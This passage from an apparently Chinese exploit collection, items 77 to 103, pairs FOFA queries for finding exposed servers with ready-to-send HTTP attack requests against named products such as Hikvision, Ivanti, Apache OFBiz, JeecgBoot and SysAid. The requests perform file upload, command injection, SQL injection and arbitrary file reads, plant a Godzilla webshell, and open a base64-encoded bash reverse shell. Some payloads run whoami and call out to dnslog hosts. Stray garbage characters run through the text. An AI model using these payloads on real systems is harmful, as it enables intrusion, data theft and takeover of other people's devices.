  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
# i$ h% S% i6 }5 T) e% R
% l- S1 d, \% P. N( q$ J
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
+ d- u+ C; \' w; v0 n  I6 R, `Host: x.x.x.x

) l+ P  Q9 U5 O8 S4 R

77. F22服装管理软件系统UploadHandler.ashx任意文件上传
) E7 m' |4 F9 k0 j+ IFOFA：body="F22WEB登陆"
9 ]- w8 Y4 s( Z" z. ?' x( yPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
$ j* X, k+ [- e( M  V# jHost: x.x.x.x
+ J5 U4 n% c5 z8 \. xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
# j# `- z9 _8 ~& J8 F5 PContent-Length: 433
+ g5 }% z; u" P! G1 r1 T) [Accept: */*
8 B) |9 g6 K8 `1 A" g, oAccept-Encoding: gzip, deflate
1 U6 K- a4 C; ?2 |9 K, pAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
3 h8 W8 R7 A. h" c0 ^2 \. @
6 [7 `* v4 c% y, m6 k- {' ~4 W------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"
2 o$ r. t3 _+ z* W, {( H" F
* Z& W$ f2 `& S% {  W7 R/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
+ l( @+ b% ]: D6 Q  MContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
6 _. d7 Q. W) H1 y1 x- u
1 j1 a1 Y9 L" y. \! T4 l1 thello1234567
7 w0 C2 d- v' y" `! M4 ]  c------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"

Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--
1 R% d1 h! e. G, i

78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
( ~: |, T! k9 E6 u* p& r9 ZHost: x.x.x.x
, V9 B, w" F4 d# `& z8 W1 jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
, H, G/ e6 I; @; j2 Q. I; D- @- VContent-Length: 336
5 \4 a; l0 w, E1 k$ s, m3 B* zAccept-Encoding: gzip
& n+ p+ e& Z* j. NContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

* u  S! N7 v  ^8 P! ]' P------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
9 {3 C  b6 t1 s4 rContent-Type: image/png
  B% k- s! Z8 g4 D! I0 ^
1 w) Q! J3 D' q1 O* RYsOxWxSvj1KyZow1PTsh98fdu6l
+ Y  J" ?9 c( Z5 Y" _. L/ h# e------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
& S, w# _; ~& a2 }
/Applications/SkillDevelopAndEHS/
4 }: k- x8 ?5 b. ^, j# K, Z------YsOxWxSvj1KyZow1PTsh98fdu6l--

& n% Y& S5 e+ G- U" U! E
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
9 G% w, _7 w5 ]) ~

79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
  R0 z$ R5 M4 B. {5 mGET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
/ j+ P; U$ T; Z- Q) u  yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 X5 F' ]. V* K+ @+ F" }2 X  aAccept-Encoding: gzip, deflate
Connection: close
1 z9 U1 p7 e' r" v3 E- z$ mUpgrade-Insecure-Requests: 1
0 U( A7 t, K1 D7 `' o7 ^( p* G
; v5 M5 V* v8 L
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
4 K& ?* O0 }9 D8 }' B  }$ w( APOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
1 G8 a1 y- J( b' JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) W" V  j& `' Q2 O) qContent-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
/ q. l4 j2 D, J4 b# [, ^
# l/ B$ P% Q  J  \) |<% out.print("oessqeonylzaf");%>
  Q. y( ~. k6 l" G

5 T( K/ x  M3 P+ a& HGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
" g$ b3 D+ G0 R9 b
2 L! N9 E" y: w% ?  o! R9 I! }9 _
0 _+ O( G* C( {6 A2 b, q  }* U6 S) [81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
, d2 x- \( V3 a# I: [GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
% d0 \1 z9 G* x( pHost: x.x.x.x
; \5 b+ I$ C  r' a) MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
3 h' G7 V* u! W2 u& j/ U. \5 }

82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
1 V/ t# k/ J- h5 X0 ]FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
% b" C5 [3 P& P/ p/ }User-Agent: Go-http-client/1.1
/ x9 ]  K- K% y: E( j4 nContent-Length: 23
Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
- {4 P$ Y6 @* O+ J" |Referer: BaseURL

z1=1&z2="|id;"&z3=bhost


3 O2 ]9 J( p6 v. k  h7 f83. JeecgBoot testConnection 远程命令执行
8 I& k0 T' E& [# c1 ~$ oFOFA：title=="JeecgBoot 企业级低代码平台"

6 a$ M, N4 y. i$ `$ z" h
2 L* Y: }5 M' D% l! l9 }4 {- uPOST /jmreport/testConnection HTTP/1.1
; m  j8 B1 z; @1 H9 q- mHost: x.x.x.x
; @4 a* n2 t0 ], dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' T# [' N: S! {Connection: close
* |$ q: }8 t' \6 R4 T7 s5 kContent-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
3 y9 A9 h* a" O* n$ U2 Z% XContent-Type: application/json
9 l, Z3 [5 c( O3 H
PAYLOAD

84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
4 \4 Y. y7 ~2 J$ V! N1 M, C5 `FOFA：title=="JeecgBoot 企业级低代码平台"



POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
1 E/ e* u0 o  `. oContent-Length: 156
9 y& F' O0 C1 q( t6 nAccept: */*
Connection: close
Content-Type: application/json
. n8 ]( q! _" U/ l/ \+ fAccept-Encoding: gzip

6 A- a; c/ K2 D* Y6 V: f{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
7 H! r6 a: Q! ^, e) N  "type": "0"
: [5 {0 M: n/ K' v. U0 F+ j}


85. SysAid On-premise< 23.3.36远程代码执行
; j+ X- O( n: a6 {" [CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
3 h3 k" M6 q& a9 e& nEXP数据包如下，注入哥斯拉马
. Z: Z; I( r0 ^+ R  F4 TPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
% b8 T. E/ U$ m9 N0 gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  h3 H+ J0 A# k& }( n+ F1 YContent-Type: application/octet-stream
4 R2 T3 s8 A$ c7 a0 xAccept-Encoding: gzip

PAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp
) x0 ^( n  y4 F+ |
86. 日本tosei自助洗衣机RCE
2 V% ~+ O% I) ^6 M; t2 X" S& QFOFA：body="tosei_login_check.php"
' f. ^& ]# \; xPOST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
Accept: */*
Accept-Encoding: gzip
% o& Y& d0 _+ a" J  JAccept-Language: en
/ d9 R! ~( B# B5 b$ `$ g5 NContent-Type: application/x-www-form-urlencoded
" |: D2 \  j0 O$ C. |0 d
* V8 \/ i" o% U; Zhost=%0acat${IFS}/etc/passwd%0a&command=ping

1 B* f  G  O1 P- k( u7 O
87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
- q" ^2 D6 d8 Z2 i2 k6 ~) ZAccept-Encoding: gzip
0 p" p8 r% E; I0 n9 a$ AContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
8 S8 h7 I; \& e) \; |
--qqobiandqgawlxodfiisporjwravxtvd
* A& P( F+ X+ L& FContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
! {# z* U6 {, L  U
' ?' a) `1 L8 L2 v2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
: v0 J/ p3 o/ _7 _% M
- {' M5 _) e2 c: i0 Z/ z
/jfhatuwe.php
; G* C, Z7 X4 m2 x
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
/ s, ]2 H0 \, I3 O8 X$ EFOFA：title="明御安全网关"
$ ~2 A" w! u  L& @GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ Q' r# E7 F0 H. [" w; gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 h7 D7 V% C9 |- r4 IAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- H& O( M# G$ y% k9 kConnection: close

' n& G  ?! l' N' y- j; X* L
/astdfkhl.php

# n0 o5 c7 b7 s; ?$ C" g- `4 }& r* s89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
9 c) _1 v! ?, H' X1 Q5 H  z. gPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
) N! _" D: x) H$ h. @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
0 ?6 g' d4 b) O, cContent-Length: 41
( B, {' H& A/ a! W# g0 }; C% LContent-Type: application/x-www-form-urlencoded
, @9 M1 V9 W8 m& ?Accept-Encoding: gzip
4 c  Y) M) J' A- i( t' M
, ~- `; G! M( U" x, foption=2&GUID=-1'+union+select+111*222--+

0 ~# V0 e2 m$ _" C
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
' S, r6 `: i- s. \POST /php/ping.php HTTP/1.1
6 H# g0 L& W' h: O: {% nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
) v; S3 D8 t! D$ [' i( oAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
: x7 t. m+ t# }( h/ MContent-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
4 J' q' x) ^1 b/ ]& H: ^GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
. J2 G" m  I8 k$ P; @3 Q) RHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
$ p& z& a4 `' d. `; `Accept: */*
Connection: keep-alive

9 z- B( L  V. W5 [2 R8 w7 V

! w# S5 X8 w) _6 b; S92. 海康威视运行管理中心session命令执行
4 w) v4 @: k) h1 c  ZFastjson命令执行
0 B3 m' @+ y" [, O1 G! Nhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
7 R7 L! u9 q" @- j0 mPOST /center/api/session HTTP/1.1
( N5 |9 M% _  h3 N) RHost:
3 r  a: Z3 y1 sAccept: application/json, text/plain, */*
* b4 P# k2 R3 S' [' C' P+ NAccept-Encoding: gzip, deflate
* G& e" F7 }5 o  Y" ~( }X-Requested-With: XMLHttpRequest
- [! C5 y. h6 cContent-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
3 u( B9 A- w; w* j. WAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
/ v' T+ ~+ K9 E/ X
PAYLOAD
  y# C9 L7 ]4 i/ n

  P2 h/ h4 q, f3 z' P$ Z93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
0 q' f3 N) a+ X  e' o: MFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
/ b5 X$ g8 E; E# \/ mUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
1 R% H6 Q9 `7 H
# J( R3 a) v' Z5 x10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
$ ]3 W% U6 s& U% O* H+ s6 DContent-Type: text/plain
3 i/ e- C; M5 o: }- S
+ e- k2 w& O* L- G6 B! `& Pwagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
) l! n1 J; y, w; @8 J) }8 T! bContent-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarykcbkgdfx
" B( ^! d% q' ?8 AContent-Disposition: form-data; name="__hash__"

* p/ c" w/ ]1 L. G4 o3 A7 s0b9d6b1ab7479ab69d9f71b05e0e9445
- s) e& O+ ~+ X# j------WebKitFormBoundarykcbkgdfx--


* ]8 [& g4 E7 I: lGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
0 y- K. U: Z7 b, ]1 H% P' z

94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
7 s- U. U! H, O: \4 HContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

1 I# |" z7 r3 w% @: W& ]------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
( D& J1 ]5 k0 ~$ J* D2 R
10000000
  x' _" K! r% u------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
7 l7 ]- s1 w! i1 {Content-Type: text/plain
# E4 A8 n0 S; E5 |
7 |) @% `1 O/ W* x$ tpxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

5 [. K+ F% ~7 \8 yobj_app_upfile
" M7 X& g$ g1 [; D------WebKitFormBoundarybqvzqvmt
% x( D( ?* g. ]5 G+ RContent-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
0 q1 j+ j) u1 T) \2 I4 u: a------WebKitFormBoundarybqvzqvmt--



GET /attachements/xlskxknxa.txt HTTP/1.1
4 p/ ]) Y" |7 x1 D# O+ HHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

2 L9 B* M4 N, [+ ]" v" n% m

' D( B  b# p' k6 [( c95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
4 J0 G6 m1 T+ o/ O. A5 @9 K% HFOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
* j" f# H$ a9 ~! Q+ ?Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

<?xml version="1.0"?>
% |3 [7 v7 m* a1 f7 ?  x<methodCall>
: E& ~5 o+ Y* w- @, ]   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
7 U, W& Y$ ^" M$ U0 k& }    <params>
      <param>
      <value>
! h( @( `4 e. A) V' o! k  [        <struct>
       <member>
          <name>test</name>
$ w7 @+ i8 s% A* r/ w7 `3 K          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
4 e& O  `& ^; y) \        </member>
; y' B( f: |& G9 ^' [5 E. q& ^" k1 P      </struct>
; N7 V; o) J4 U8 F1 {, i, q      </value>
    </param>
    </params>
. G7 S4 X% H7 M8 H+ u& s</methodCall>
: u1 P2 Y: K9 X; N- s

9 h1 `, Q3 }* F$ L" ]. I% O; g4 c用ysoserial生成payload
9 u! g2 m4 s. @7 y) d. M& w+ xjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
& k  r/ W: `- e- ]' y9 JHost: 192.168.40.130:8443
8 W: d& a+ R* H/ y  fUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
( k/ J( I( N, HContent-Length: 889
Content-Type: application/xml
' D" |: X& k0 Y6 t% ]# MAccept-Encoding: gzip

1 R4 g: a: p6 c% W( dPAYLOAD
2 h- G) i& V7 ~' C$ `! h/ a3 w
96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
8 m$ A4 X; L3 E4 SPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
  G' i: Z* w: N: WHost: localhost:8443
1 x( n* V$ d! u/ p+ q/ vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
9 w7 O8 J" d  LAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
7 k9 _. C7 d5 N& s$ D  bContent-Length: 55

; {' c% @9 Y' ~0 ], t" S$ ogroovyProgram=throw+new+Exception('id'.execute().text);
/ C) G  p* d( A9 [* F% o  r8 G  D. l

反弹shell
在kali上启动一个监听
nc -lvp 7777
7 f+ q4 L/ Z7 \0 o! j
4 A/ g8 ]& d- `  ZPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
+ R; B6 X) g  ]  T7 L2 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
3 h* w" f# ]: c$ tAccept: */*
' D2 B+ n! x9 x+ T1 UAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 Z/ P3 F, i  t8 R6 A7 CContent-Type: application/x-www-form-urlencoded
Content-Length: 71

  N4 ?+ h; C! m5 i2 C0 G9 I. Z% @groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
$ p5 W% W4 k1 v7 E% m& w+ pGET /passport/login/ HTTP/1.1
8 w) K# ]0 s  D# }Host: 192.168.40.130:8085
- h+ g+ i+ N$ {$ n, YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
0 h, J* ?9 M* ?/ h) TX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
2 w  C2 z, M' P" }1 n2 n# t
# p4 p' }8 h2 V3 I0 n1 t% l) @
98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
0 M' ^+ |  I0 e8 A6 o# I8 t; IPOST /function/save HTTP/1.1
" c$ c9 i/ j) X% |0 C$ j5 bHost: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
  h# L* P: Z: S( e" IConnection: close
Content-Length: 121
Accept: */*
) y+ ^/ |$ t( H7 C- g% C$ K; l* wAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
7 i) {# P, j, y, e$ }( [: B
id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

. m0 w8 E9 ]3 O7 `5 u
7 w! T/ e3 ^/ y0 j. Q. C99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
8 o( g, W4 Y$ ^' r& s0 H+ L- DPOST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
* v& s2 W3 _  g/ s# B1 wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
) l. v* B  q' v% T; Y7 {9 ]Connection: close
Content-Length: 154
+ o/ V) h* d- K+ _+ c4 DAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 }/ I" @/ U$ IContent-Type: application/x-www-form-urlencoded; charset=UTF-8
+ e7 J' Y" J! p1 vX-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


: X0 \. r# N5 r. k5 N100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
' n# H  X. s$ p2 |* AFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
# n- V, V( T+ _& ?* TConnection: close
Content-Length: 201
( o' X+ b) f! @+ @; T* jContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip
8 C. W% H+ D6 G/ G
, ]$ s/ q8 T, ]7 u, H6 s------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--

2 Y1 l7 ]( @3 Y3 q8 Q
101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
6 O+ F& y: O0 NConnection: close
6 x+ K" a  |4 g: O- WAccept-Encoding: gzip
4 y$ h( [7 j7 Y# y
3 ^! x* N. t4 [9 G
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
$ A( w$ V) h% Q8 _1 C  JCVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
9 I+ {3 p, S, \Connection: close
; {$ o" e( q( a1 N6 C- aContent-Length: 792
. H  q3 [% N; J- ZAccept-Encoding: gzip
% s  O/ @5 B! F6 |# A) ?
' R% T) J: T! u; c' ]<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
  J) N5 j) M3 d: ~
8 a* D$ _$ P# ~8 }2 o103. Ivanti Pulse Connect Secure VPN XXE
: A2 _8 |5 m6 g# b/ @CVE-2024-22024
% o- Z4 Y0 n/ }7 @- kFOFA：body="welcome.cgi?p=logo"
" l6 y, O. t4 mPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
